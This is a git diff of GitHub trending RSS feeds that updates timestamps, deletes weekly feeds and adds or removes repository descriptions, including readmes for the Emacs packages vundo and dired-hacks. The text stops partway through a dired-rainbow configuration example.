Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:31Z - Weekly Trending of Easybuild in GitHub - - \ No newline at end of file diff --git a/ebnf/daily/index.xml b/ebnf/daily/index.xml index d2fad1759eb..3971bc2578c 100644 --- a/ebnf/daily/index.xml +++ b/ebnf/daily/index.xml @@ -1,7 +1,7 @@ GitHub EBNF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:52Z + 2023-09-25T01:28:40Z Daily Trending of EBNF in GitHub \ No newline at end of file diff --git a/ebnf/weekly/index.xml b/ebnf/weekly/index.xml deleted file mode 100644 index 9209ea15905..00000000000 --- a/ebnf/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub EBNF Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:32Z - Weekly Trending of EBNF in GitHub - - \ No newline at end of file diff --git a/ec/daily/index.xml b/ec/daily/index.xml index c58f97ae597..cce33d05161 100644 --- a/ec/daily/index.xml +++ b/ec/daily/index.xml @@ -1,7 +1,7 @@ GitHub eC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:53Z + 2023-09-25T01:28:38Z Daily Trending of eC in GitHub \ No newline at end of file diff --git a/ec/weekly/index.xml b/ec/weekly/index.xml deleted file mode 100644 index 406a7a27d4c..00000000000 --- a/ec/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub eC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:34Z - Weekly Trending of eC in GitHub - - \ No newline at end of file diff --git a/ecere-projects/daily/index.xml b/ecere-projects/daily/index.xml index 44a6dff727b..2c5b0ce91a2 100644 --- a/ecere-projects/daily/index.xml +++ b/ecere-projects/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ecere Projects Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:58Z + 2023-09-25T01:28:43Z Daily Trending of Ecere Projects in GitHub \ No newline at end of file diff --git a/ecere-projects/weekly/index.xml b/ecere-projects/weekly/index.xml deleted file mode 100644 index 2b5bf23a4d7..00000000000 --- a/ecere-projects/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ecere Projects Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:36Z - Weekly Trending of Ecere Projects in GitHub - - \ No newline at end of file diff --git a/ecl/daily/index.xml b/ecl/daily/index.xml index 792f7992181..52035dc4e4b 100644 --- a/ecl/daily/index.xml +++ b/ecl/daily/index.xml @@ -1,7 +1,7 @@ GitHub ECL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:56Z + 2023-09-25T01:28:42Z Daily Trending of ECL in GitHub \ No newline at end of file diff --git a/ecl/weekly/index.xml b/ecl/weekly/index.xml deleted file mode 100644 index dfac0376125..00000000000 --- a/ecl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ECL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:36Z - Weekly Trending of ECL in GitHub - - \ No newline at end of file diff --git a/eclipse/daily/index.xml b/eclipse/daily/index.xml index 2f6c3c917c2..f6578b55942 100644 --- a/eclipse/daily/index.xml +++ b/eclipse/daily/index.xml @@ -1,7 +1,7 @@ GitHub ECLiPSe Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:29:57Z + 2023-09-25T01:28:44Z Daily Trending of ECLiPSe in GitHub \ No newline at end of file diff --git a/eclipse/weekly/index.xml b/eclipse/weekly/index.xml deleted file mode 100644 index ece8d085302..00000000000 --- a/eclipse/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ECLiPSe Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:37Z - Weekly Trending of ECLiPSe in GitHub - - \ No newline at end of file diff --git a/editorconfig/daily/index.xml b/editorconfig/daily/index.xml index d8553b0cc2c..8926737968c 100644 --- a/editorconfig/daily/index.xml +++ b/editorconfig/daily/index.xml @@ -1,7 +1,7 @@ GitHub EditorConfig Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:01Z + 2023-09-25T01:28:47Z Daily Trending of EditorConfig in GitHub \ No newline at end of file diff --git a/editorconfig/weekly/index.xml b/editorconfig/weekly/index.xml deleted file mode 100644 index 1df78a83b32..00000000000 --- a/editorconfig/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub EditorConfig Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:41Z - Weekly Trending of EditorConfig in GitHub - - \ No newline at end of file diff --git a/edje-data-collection/daily/index.xml b/edje-data-collection/daily/index.xml index dad9a5e690b..6573260b986 100644 --- a/edje-data-collection/daily/index.xml +++ b/edje-data-collection/daily/index.xml @@ -1,7 +1,7 @@ GitHub Edje Data Collection Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:03Z + 2023-09-25T01:28:46Z Daily Trending of Edje Data Collection in GitHub \ No newline at end of file diff --git a/edje-data-collection/weekly/index.xml b/edje-data-collection/weekly/index.xml deleted file mode 100644 index 8f9398b73e6..00000000000 --- a/edje-data-collection/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Edje Data Collection Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:40Z - Weekly Trending of Edje Data Collection in GitHub - - \ No newline at end of file diff --git a/edn/daily/index.xml b/edn/daily/index.xml index bbe77a8a813..d5fa592c8dc 100644 --- a/edn/daily/index.xml +++ b/edn/daily/index.xml @@ -1,7 +1,7 @@ GitHub edn Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:02Z + 2023-09-25T01:28:46Z Daily Trending of edn in GitHub \ No newline at end of file diff --git a/edn/weekly/index.xml b/edn/weekly/index.xml deleted file mode 100644 index 326a220aa15..00000000000 --- a/edn/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub edn Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:39Z - Weekly Trending of edn in GitHub - - \ No newline at end of file diff --git a/eiffel/daily/index.xml b/eiffel/daily/index.xml index 3cec22ca18f..91ca924cc3b 100644 --- a/eiffel/daily/index.xml +++ b/eiffel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Eiffel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:00Z + 2023-09-25T01:28:48Z Daily Trending of Eiffel in GitHub \ No newline at end of file diff --git a/eiffel/weekly/index.xml b/eiffel/weekly/index.xml deleted file mode 100644 index dfa8e120b59..00000000000 --- a/eiffel/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Eiffel Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:38Z - Weekly Trending of Eiffel in GitHub - - \ No newline at end of file diff --git a/ejs/daily/index.xml b/ejs/daily/index.xml index 7c41e7e0ada..b5386fe20ae 100644 --- a/ejs/daily/index.xml +++ b/ejs/daily/index.xml @@ -1,7 +1,7 @@ GitHub EJS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:06Z + 2023-09-25T01:28:51Z Daily Trending of EJS in GitHub \ No newline at end of file diff --git a/ejs/weekly/index.xml b/ejs/weekly/index.xml deleted file mode 100644 index 18a54c5be3e..00000000000 --- a/ejs/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub EJS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:45Z - Weekly Trending of EJS in GitHub - - - maheshbasnet089/NodeSepProjectCMS - 2023-09-24T01:49:45Z - tag:github.com,2023-09-24:/maheshbasnet089/NodeSepProjectCMS - - <p></p><hr> - - - bontakun/bontasite.js - 2023-09-24T01:49:45Z - tag:github.com,2023-09-24:/bontakun/bontasite.js - - <p>This is the node.js site that I built to host the basic content of my site, I exert copyright over all the content, but souce code is free under an open source license yet to be determined.</p><hr> - - \ No newline at end of file diff --git a/elixir/daily/index.xml b/elixir/daily/index.xml index effd1a10fc3..5d1be6e98f4 100644 --- a/elixir/daily/index.xml +++ b/elixir/daily/index.xml @@ -1,7 +1,14 @@ GitHub Elixir Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:09Z + 2023-09-25T01:28:55Z Daily Trending of Elixir in GitHub + + bunopnu/fresh + 2023-09-25T01:28:55Z + tag:github.com,2023-09-25:/bunopnu/fresh + + <p>WebSocket client for Elixir, built atop the Mint ecosystem 🌱</p><hr> + \ No newline at end of file diff --git a/elixir/weekly/index.xml b/elixir/weekly/index.xml deleted file mode 100644 index aa74b4f0eeb..00000000000 --- a/elixir/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Elixir Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:48Z - Weekly Trending of Elixir in GitHub - - - geolessel/vox - 2023-09-24T01:49:48Z - tag:github.com,2023-09-24:/geolessel/vox - - <p>The static site builder for Elixir lovers</p><hr> - - - carsdotcom/car_req - 2023-09-24T01:49:48Z - tag:github.com,2023-09-24:/carsdotcom/car_req - - <p></p><hr> - - - valuechainfactory/vc_utils - 2023-09-24T01:49:48Z - tag:github.com,2023-09-24:/valuechainfactory/vc_utils - - <p>Tools and helpers we constantly find repeated in most of our projects.</p><hr> - - \ No newline at end of file diff --git a/elm/daily/index.xml b/elm/daily/index.xml index e40c8c8d04b..d58d0715225 100644 --- a/elm/daily/index.xml +++ b/elm/daily/index.xml @@ -1,7 +1,7 @@ GitHub Elm Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:04Z + 2023-09-25T01:28:50Z Daily Trending of Elm in GitHub \ No newline at end of file diff --git a/elm/weekly/index.xml b/elm/weekly/index.xml deleted file mode 100644 index 232812b9f99..00000000000 --- a/elm/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Elm Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:42Z - Weekly Trending of Elm in GitHub - - \ No newline at end of file diff --git a/emacs-lisp/daily/index.xml b/emacs-lisp/daily/index.xml index 9261e9d495f..0442633f0f9 100644 --- a/emacs-lisp/daily/index.xml +++ b/emacs-lisp/daily/index.xml @@ -1,14 +1,14 @@ GitHub Emacs Lisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:15Z + 2023-09-25T01:29:01Z Daily Trending of Emacs Lisp in GitHub - emacs-straight/vundo - 2023-09-24T01:30:15Z - tag:github.com,2023-09-24:/emacs-straight/vundo - - <p>Mirror of the vundo package from GNU ELPA, current as of 2023-09-24</p><hr><p>Vundo is now available on ELPA!</p> <p>Vundo (visual undo) displays the undo history as a tree and lets you move in the tree to go back to previous buffer states. To use vundo, type M-x vundo RET in the buffer you want to undo. An undo tree buffer should pop up. To move around, type:</p> <p>f to go forward b to go backward</p> <p>n to go to the node below when you at a branching point p to go to the node above</p> <p>a to go back to the last branching point e to go forward to the end/tip of the branch</p> <p>q to quit, you can also type C-g</p> <p>C-c C-s (or whatever binding you used for save-buffer) to save the buffer at the current undo state</p> <p>n/p may need some more explanation. In the following tree, n/p can move between A and B because they share a parent (thus at a branching point), but not C and D. To make it clear, branches you can switch between are highlighted with bold face.</p> <pre><code> A C ──○━━○──○──○──○ ┃ ↕︎ ┗━━○──○──○ B D </code></pre> <p>By default, you need to press RET to “commit” your change and if you quit with q or C-g, the changes made by vundo are rolled back. You can set ‘vundo-roll-back-on-quit’ to nil to disable rolling back.</p> <p>You might see some green nodes in the tree, those are the buffer states that have been saved to disk; the last saved node is emphasized in bold. You can type "l" to jump to the last saved node.</p> <p>Note: vundo.el requires Emacs 28.</p> <p>Customizable faces:</p> <ul> <li>vundo-default</li> <li>vundo-node</li> <li>vundo-stem</li> <li>vundo-highlight</li> <li>vundo-saved</li> <li>vundo-last-saved</li> </ul> <p>If you want to use prettier Unicode characters to draw the tree like this:</p> <pre><code>○──○──○ │ └──● ├──○ └──○ </code></pre> <p>set vundo-glyph-alist by</p> <pre><code>(setq vundo-glyph-alist vundo-unicode-symbols) </code></pre> <p>Your default font needs to contain these Unicode characters, otherwise they look terrible and don’t align. You can find a font that covers these characters (eg, Symbola, Unifont), and set ‘vundo-default’ face to use that font:</p> <pre><code>(set-face-attribute 'vundo-default nil :family "Symbola") </code></pre> <p>Comparing to undo-tree:</p> <p>Vundo doesn’t need to be turned on all the time nor replace the undo commands like undo-tree does. Vundo displays the tree horizontally, whereas undo-tree displays a tree vertically. Vundo doesn’t have many advanced features that undo-tree does (like showing diff), and most probably will not add those features in the future.</p> <p>Tests:</p> <p>You can run tests by loading test/vundo-test.el and M-x ert RET t RET to run those tests interactively, or use the following batch command:</p> <pre><code> emacs --batch \ -l vundo.el \ -l test/vundo-test.el \ -f ert-run-tests-batch-and-exit </code></pre> <p>Changelog (full changelog in NEWS.txt):</p> <p>&lt;2022-04-04 Mon&gt;: Version 1.0.0</p> <p>&lt;2022-03-29 Tue&gt;: vundo--mode and vundo--mode-map are now vundo-mode and vundo-mode-map. A new custom option vundo-compact-display is added.</p> <p>&lt;2022-03-23 Wed&gt;: UI now defaults to ASCII mode. ASCII mode also draws differently now, it now draws</p> <pre><code>o--o--o instead of o--o--o | `--x | +--* |--o |--o `--o +--o </code></pre> <p>&lt;2021-11-26 Fri&gt;: Variable vundo-translate-alist changed to vundo-glyph-alist and has different value now.</p> + Fuco1/dired-hacks + 2023-09-25T01:29:01Z + tag:github.com,2023-09-25:/Fuco1/dired-hacks + + <p>Collection of useful dired additions</p><hr><ul> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#dired-hacks--">dired-hacks</a></li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#contribute">Contribute!</a></li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#packages">Packages</a> <ul> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#dired-hacks-utils">dired-hacks-utils</a></li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#dired-filter">dired-filter</a> <ul> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#stack-operations">Stack operations</a></li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#built-in-filters">Built-in filters</a></li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#saved-filters">Saved filters</a></li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#filter-groups">Filter groups</a></li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#other-features">Other features</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#dired-avfs">dired-avfs</a></li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#dired-open">dired-open</a></li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#dired-rainbow">dired-rainbow</a></li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#dired-subtree">dired-subtree</a> <ul> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#interactive-functions">Interactive functions</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#dired-ranger">dired-ranger</a> <ul> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#multi-stage-copypasting-of-files">Multi-stage copy/pasting of files</a></li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#bookmarks">Bookmarks</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#dired-narrow">dired-narrow</a></li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#dired-list">dired-list</a></li> <li><a href="https://raw.githubusercontent.com/Fuco1/dired-hacks/master/#dired-collapse">dired-collapse</a></li> </ul> </li> </ul> <h1>dired-hacks <a href="https://travis-ci.org/Fuco1/dired-hacks"><img src="https://travis-ci.org/Fuco1/dired-hacks.svg?branch=master" alt="Build Status"></a> <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=A5PMGVKCQBT88"><img src="https://www.paypalobjects.com/en_US/i/btn/btn_donate_LG.gif" alt="Paypal logo"></a> <a href="https://www.patreon.com/user?u=3282358&amp;ty=h"><img src="https://c5.patreon.com/external/logo/logomarkOrange.svg?sanitize=true" alt="Patreon"></a></h1> <p>Collection of useful dired additions. I don't want this to become another <code>dired+</code>, so I'm splitting all the functionality into separate mutually independent packages. All shared functionality and helpers will be extracted into a single package <code>dired-hacks-utils</code>, so that will be the only dependence.</p> <p>In addition, all the packages require <a href="https://github.com/magnars/dash.el">dash.el</a></p> <p>Please note that only the packages that are listed in this readme are "finished" (means in package repositories, with usable UI etc.). All the other files are work-in-progress packages you could probably use, but it would be a bit more painful.</p> <h1>Contribute!</h1> <p>If you want to support this project, you can do it in the following ways:</p> <ul> <li>Contribute code. Since this collection comes from my own config, it mostly contains stuff I use or find useful. If you have an idea that is not yet implemented and will benefit this project, feel free to implement it and submit a pull request. If you have any concerns whether your contribution will be accepted, ask beforehand. You can email the author or <a href="https://github.com/Fuco1/dired-hacks/issues/new">start an issue</a> on the tracker.</li> <li>Contribute ideas. Even if you can't code Emacs Lisp, you can still contribute valuable ideas for other programmers to implement. Simply <a href="https://github.com/Fuco1/dired-hacks/issues/new">start new issue</a> on the tracker and submit your suggestion.</li> <li>You can make a financial donation through <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=A5PMGVKCQBT88">PayPal</a> or <a href="https://www.patreon.com/user?u=3282358&amp;ty=h">Patreon</a>. If you like dired-hacks and can spare a modest amount on a donation, feel free to do so. These donations are expressions of your gratitude and are used for my personal "rewards" (books, games, music etc.). You can also gift me a game on <a href="http://steamcommunity.com/profiles/76561198265034071/wishlist">Steam</a> or buy something on <a href="http://www.amazon.com/gp/registry/wishlist/2I8DOQH8OZEUR">Amazon</a>. Regardless of the donations, dired-hacks will always be free both as in beer and as in speech.</li> </ul> <h1>Packages</h1> <h2>dired-hacks-utils</h2> <p>Set of utility functions used in all the <code>dired-hacks</code> packages.</p> <p>This package also provides these interactive functions:</p> <ul> <li><code>dired-hacks-next-file</code> - go to next file, skipping empty and non-file lines</li> <li><code>dired-hacks-previous-file</code> - go to previous file, skipping empty and non-file lines</li> <li><code>dired-utils-format-information-line-mode</code> - Format the information (summary) line file sizes to be human readable (e.g. 1GB instead of 1048576).</li> </ul> <h2>dired-filter</h2> <p>The filtering system is designed after ibuffer: every dired buffer has associated "filter stack" where user can push filters (predicates). These filters are by default logically "anded", meaning, only the files satsifying all the predicates are shown.</p> <p>Some filters take additional input from the user such as part of name, regexp or extension, other filters only use a predefined predicate such as "show only directories" or "omit dot files".</p> <p>In addition, there are two "metafilters", the <code>or</code> filter and the <code>not</code> filter. These take other filters as arguments and change their logical interpretation. The <code>or</code> filter takes the two filters on top of the stack, pops them and pushes a filter that matches files satisfying one or the other (or both) filters. The <code>not</code> filter pops the top filter and pushes its logical negation.</p> <p>To enable or disable the filters, toggle minor mode <code>dired-filter-mode</code>. Toggling this mode preserves the filter stack, so you can use it to quickly hide/unhide files filtered by the current filter setup.</p> <p>All the provided interactive functions are available from <code>dired-filter-map</code>. You can customize <code>dired-filter-prefix</code> to set a prefix for this map or bind it manually to a prefix of your choice using:</p> <pre><code>(define-key dired-mode-map (kbd "some-key") dired-filter-map) </code></pre> <p>The bindings follow a convention where the filters are mapped on lower-case letters or punctuation, operators are mapped on symbols (such as !, |, * etc.) and group commands are mapped on upper-case letters. The exception to this is <code>p</code> which is bound to <code>dired-filter-pop</code>, which is a very common operation and warrants a quick binding.</p> <p>In addition to filtering, you can also use the same predicates to only mark files without removing the rest. All the filtering functions of the form <code>dired-filter-by-*</code> have their marking counterpart <code>dired-filter-mark-by-*</code>. These are available from <code>dired-filter-mark-map</code>. You can customize <code>dired-filter-mark-prefix</code> a prefix for this map or bind it manually to a prefix of your choice using:</p> <pre><code>(define-key dired-mode-map (kbd "some-key") dired-filter-mark-map) </code></pre> <p>The marking operations are not placed on stack, instead, the marks are immediately updated by "OR"-ing them together. To remove marks that would otherwise be selected by a filter, use prefix argument (usually bound to <code>C-u</code>). To logically negate the meaning of the filter, you can call the function with a double prefix argument (usually <code>C-u</code> <code>C-u</code>)</p> <p>You can use saved filters to mark files by calling <code>dired-filter-mark-by-saved-filters</code>.</p> <h3>Stack operations</h3> <p>To remove the filter from the stack, use <code>dired-filter-pop</code> or <code>dired-filter-pop-all</code></p> <p>To break a metafilter apart, you can use <code>dired-filter-decompose</code> to decompose the parts of the metafilter and push them back to the stack.</p> <p>You can transpose the filters on the top of the stack using <code>dired-filter-transpose</code></p> <h3>Built-in filters</h3> <p>Here's a list of built-in filters:</p> <ul> <li><code>dired-filter-by-name</code></li> <li><code>dired-filter-by-regexp</code></li> <li><code>dired-filter-by-extension</code></li> <li><code>dired-filter-by-dot-files</code></li> <li><code>dired-filter-by-omit</code></li> <li><code>dired-filter-by-garbage</code></li> <li><code>dired-filter-by-predicate</code></li> <li><code>dired-filter-by-file</code></li> <li><code>dired-filter-by-directory</code></li> <li><code>dired-filter-by-mode</code></li> <li><code>dired-filter-by-symlink</code></li> <li><code>dired-filter-by-executable</code></li> </ul> <p>You can see their documentation by calling M-x <code>describe-function</code>.</p> <p>Specifically, <code>dired-filter-by-omit</code> removes the files that would be removed by <code>dired-omit-mode</code>, so you should not need to use both---in fact it is discouraged, as it would make the read-in slower.</p> <p>When called with negative prefix argument, some filters can read multiple values. The resulting predicate is often much faster than having the filter repeated with single argument. Read the documentation to learn more about the calling conventions. Currently, these filters support reading multiple arguments:</p> <ul> <li><code>dired-filter-by-extension</code></li> </ul> <p>To define your own filters, you can use the macro <code>dired-filter-define</code>. If you define some interesting filter, please consider contributing it to the upstream.</p> <h3>Saved filters</h3> <p>In addition to the built-in filters and your own custom filters, this package provides an option to save complex compound filters for later use. When you set up a filter stack you would like to save, call <code>dired-filter-save-filters</code>. You will be prompted for a name under which this stack will be saved.</p> <p>The saved filter will be added to <code>dired-filter-saved-filters</code> variable, which you can also customize via the customize interface or manually add entries with <code>push</code> or <code>add-to-list</code>. If you use customize, calling <code>dired-filter-save-filters</code> will automatically save the new value into your customize file.</p> <p>You can delete saved filters with <code>dired-filter-delete-saved-filters</code>.</p> <p>To use a saved filter, you can use either <code>dired-filter-add-saved-filters</code> or <code>dired-filter-load-saved-filters</code>. The first pushes the saved filter on top of the currently active stack, the second clears current filter stack before loading the saved filter configuration.</p> <p>An example use is to create filters for "logical groups" of files, such as media files, image files or files used when programming in certain environment (for example, show files with .h and .c extensions). Saved filters save you the time of setting up the filters each time you want this specific view.</p> <p>As a concrete example of above, author uses a saved filter "media" with value:</p> <pre><code>(extension "ogg" "flv" "mpg" "avi" "mp4" "mp3") ;; show all files matching any of these extensions </code></pre> <h3>Filter groups</h3> <p>Furthermore, instead of only filtering the dired buffer by removing lines you are not interested in, you can also group lines together by filters. That is, lines (files, directories...) satisfying a filter will be moved together under a common drawer. This mechanism works in analogy with ibuffer filter groups.</p> <p>The variable <code>dired-filter-group-saved-groups</code> contains definitions of filter groups. You can create and save multiple filter groups (views) and switch between them by setting the <code>dired-filter-group</code> variable.</p> <p>To enable or disable the filter groups toggle minor mode <code>dired-filter-group-mode</code>. Toggling this mode preserves the active filter group so you can use it to quickly group and ungroup the files.</p> <p>Here is a screenshot with an active filter group. Notice that regular filtering works also with filter groups.</p> <p><img src="http://i.imgur.com/qtiDX1c.png" alt="Filter group"></p> <p>Placing the point on the drawer header and hitting <code>RET</code> folds it. Hitting <code>RET</code> again expands it.</p> <p><img src="http://i.imgur.com/TDUsEKq.png" alt="Folding"></p> <p>The <code>dired-filter-group-saved-groups</code> used in the above screenshot is the following:</p> <pre><code class="language-elisp">(("default" ("PDF" (extension . "pdf")) ("LaTeX" (extension "tex" "bib")) ("Org" (extension . "org")) ("Archives" (extension "zip" "rar" "gz" "bz2" "tar")))) </code></pre> <p>You can of course be more imaginative and use filtering based on other criteria than just extensions ;)</p> <h3>Other features</h3> <p>You can clone the currently visible dired buffer by calling <code>dired-filter-clone-filtered-buffer</code>.</p> <h2>dired-avfs</h2> <p>Adds <a href="http://avf.sourceforge.net/">avfs</a> support for seamless archive browsing. This extension therefore depends on the presence of <code>avfsd</code> on your system. In debian-derived distributions you can usually do</p> <pre><code>apt-get install avfs </code></pre> <p><code>avfs</code> is probably also available for Mac OS. You're out of luck on Windows, sorry.</p> <p>Once the daemon is installed, run it with <code>mountavfs</code> and everything "Should Just Work™".</p> <h2>dired-open</h2> <p>While emacs already has the <code>auto-mode-alist</code>, this is often insufficient. Many times, you want to open media files, pdfs or other documents with an external application. There's remedy for that too, namely <code>dired-guess-shell-alist-user</code>, but that is still not as convenient as just hitting enter.</p> <p>This package adds a mechanism to add "hooks" to <code>dired-find-file</code> that will run before emacs tries its own mechanisms to open the file, thus enabling you to launch other application or code and suspend the default behaviour.</p> <p>By default, two additional methods are enabled, <code>dired-open-by-extension</code> and <code>dired-open-subdir</code>.</p> <p>This package also provides other convenient hooks:</p> <ul> <li><code>dired-open-xdg</code> - try to open the file using <code>xdg-open</code></li> <li><code>dired-open-guess-shell-alist</code> - try to open the file by launching applications from <code>dired-guess-shell-alist-user</code></li> <li><code>dired-open-call-function-by-extension</code> - call an elisp function based on extension.</li> </ul> <p>These are not used by default.</p> <p>You can customize the list of functions to try by customizing <code>dired-open-functions</code>.</p> <p>To fall back to the default <code>dired-find-file</code>, you can provide the prefix argument (usually <code>C-u</code>) to the <code>dired-open-file</code> function. This is useful for example when you configure html files to be opened in browser and you want to edit the file instead of view it.</p> <p>Note also that this package can handle calls when point is not on a line representing a file---an example hook is provided to open a subdirectory under point if point is on the subdir line, see <code>dired-open-subdir</code>.</p> <p>If you write your own handler, make sure they do <em>not</em> throw errors but instead return nil if they can't proceed. Please, don't forget to submit interesting handlers!</p> <h2>dired-rainbow</h2> <p>This package adds more customizable highlighting for files in dired listings. The group <code>dired-faces</code> provides only nine faces and isn't very fine-grained.</p> <p>The definitions are added by several macros, currently available are:</p> <ul> <li><code>dired-rainbow-define</code> - add face by file extension</li> <li><code>dired-rainbow-define-chmod</code> - add face by file permissions</li> </ul> <p>You can display their documentation by calling (substituting the desired macro name):</p> <pre><code>M-x describe-function RET dired-rainbow-define RET </code></pre> <p>Here are some example uses:</p> <pre><code class="language-scheme">(defconst my-dired-media-files-extensions '("mp3" "mp4" "MP3" "MP4" "avi" "mpg" "flv" "ogg") "Media files.") (dired-rainbow-define html "#4e9a06" ("htm" "html" "xhtml")) (dired-rainbow-define media "#ce5c00" my-dired-media-files-extensions) ; boring regexp due to lack of imagination (dired-rainbow-define log (:inherit default :italic t) ".*\\.log") ; highlight executable files, but not directories (dired-rainbow-define-chmod executable-unix "Green" "-[rw-]+x.*") </code></pre> <p>Putting it all together, the following is a basic setup (essentially a pseudo-port of <a href="https://github.com/trapd00r/LS_COLORS">LS_COLORS</a> obtained by inspecting a terminal and approximating colors with <a href="https://tailwindcss.com/docs/colors/">Tailwind CSS</a>).</p> <pre><code class="language-scheme">(use-package dired-rainbow :config (progn (dired-rainbow-define-chmod directory "#6cb2eb" "d.*") (dired-rainbow-define html "#eb5286" ("css" "less" "sass" "scss" "htm" "html" "jhtm" "mht" "eml" "mustache" "xhtml")) (dired-rainbow-define xml "#f2d024" ("xml" "xsd" "xsl" "xslt" "wsdl" "bib" "json" "msg" "pgn" "rss" "yaml" "yml" "rdata")) (dired-rainbow-define document "#9561e2" ("docm" "doc" "docx" "odb" "odt" "pdb" "pdf" "ps" "rtf" "djvu" "epub" "odp" "ppt" "pptx")) (dired-rainbow-define markdown "#ffed4a" ("org" "etx" "info" "markdown" "md" "mkd" "nfo" "pod" "rst" "tex" "textfile" "txt")) (dired-rainbow-define database "#6574cd" ("xlsx" "xls" "csv" "accdb" "db" "mdb" "sqlite" "nc")) (dired-rainbow-define media "#de751f" ("mp3" "mp4" "MP3" "MP4" "avi" "mpeg" "mpg" "flv" "ogg" "mov" "mid" "midi" "wav" "aiff" "flac")) (dired-rainbow-define image "#f66d9b" ("tiff" "tif" "cdr" "gif" "ico" "jpeg" "jpg" "png" "psd" "eps" "svg")) (dired-rainbow-define log "#c17d11" ("log")) (dired-rainbow-define shell "#f6993f" ("awk" "bash" "bat" "sed" "sh" "zsh" "vim")) (dired-rainbow-define interpreted "#38c172" ("py" "ipynb" "rb" "pl" "t" "msql" "mysql" "pgsql" "sql" "r" "clj" "cljs" "scala" "js")) (dired-rainbow-define compiled "#4dc0b5" ("asm" "cl" "lisp" "el" "c" "h" "c++" "h++" "hpp" "hxx" "m" "cc" "cs" "cp" "cpp" "go" "f" "for" "ftn" "f90" "f95" "f03" "f08" "s" "rs" "hi" "hs" "pyc" ".java")) (dired-rainbow-define executable "#8cc4ff" ("exe" "msi")) (dired-rainbow-define compressed "#51d88a" ("7z" "zip" "bz2" "tgz" "txz" "gz" "xz" "z" "Z" "jar" "war" "ear" "rar" "sar" "xpi" "apk" "xz" "tar")) (dired-rainbow-define packaged "#faad63" ("deb" "rpm" "apk" "jad" "jar" "cab" "pak" "pk3" "vdf" "vpk" "bsp")) (dired-rainbow-define encrypted "#ffed4a" ("gpg" "pgp" "asc" "bfe" "enc" "signature" "sig" "p12" "pem")) (dired-rainbow-define fonts "#6cb2eb" ("afm" "fon" "fnt" 